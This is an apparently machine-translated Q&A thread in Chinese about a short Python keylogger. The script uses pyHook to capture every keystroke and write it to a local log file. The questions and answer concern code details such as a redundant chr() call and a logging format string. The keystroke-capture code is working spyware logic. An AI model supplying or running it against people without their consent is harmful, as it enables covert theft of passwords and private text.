Python键盘记录器

时间:2018-06-24 04:45:23

标签: python keylogger pyhook pywin

我试图在pyhton中创建键盘记录程序,却在众多博客上偶然发现了这段代码:

file_log='F:\\test\\log.txt'

def onKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager=pyHook.HookManager()

hooks_manager.KeyDown=onKeyboardEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

好的,我在这里有三个疑问:

  

首先,据我了解,chr(event.Ascii)用于转换   将击键的ASCII值转换为有效的char值,为什么要这样做   它两次: chr(event.Ascii)       logging.log(10,chr(event.Ascii))。这行不是:chr(event.Ascii)在这里多余。

     

第二,在格式='%(message)s'中's'的用法是什么

     

第三:我将文件另存为“ .pyw”,但是当我双击它时,它   不会工作。虽然,它通过Cmd起作用

1 个答案:

答案 0 :(得分:1)

  

据我了解,chr(event.Ascii)用于将击键的ASCII值转换为有效的char值,为什么要这样做两次:chr(event.Ascii)logging.log(10,chr(event) .Ascii))。这行不是:chr(event.Ascii)在这里多余。

是的,您理解正确。即使它不是多余的,它也没有用-这只是一个表达式表达式,它对一个表达式进行评估,没有副作用,并且对结果不执行任何操作,因此它没有任何效果,只是浪费了一些CPU时间。 / p>

当您在互联网上的某个地方找到随机代码时,就无法保证它是出色的代码。

作者可能正在获得奇怪的值,并决定他们需要能够在该chr调用之前或之后放置一个断点,因此他们将其移到了自己的行上。还是遇到异常,并且不知道如何判断它是来自chr还是log。当然,他们应该先做s = chr(event.Ascii)然后在logging.log(10, s)中使用它,或者做些什么,但是也许这只是一回事,他们忘了还原。

也许作者对Python的了解比您少,或者是白痴,或者只是通过调用内置函数的次数获得报酬。谁知道?